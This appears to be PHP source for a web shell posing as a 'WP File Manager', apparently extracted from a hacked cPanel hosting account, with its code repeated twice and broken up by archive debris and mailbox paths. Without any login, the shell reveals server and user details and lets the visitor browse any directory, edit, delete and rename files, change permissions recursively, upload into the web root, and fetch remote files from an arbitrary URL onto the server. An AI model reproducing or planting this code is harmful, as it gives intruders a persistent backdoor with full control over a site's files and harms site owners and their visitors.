"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëmejdi@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]ø�"‚BB!finance@drsupernova.com/.metadatanu„[µü¤[calendar] calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. protected 1 type VCALENDAR [addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book 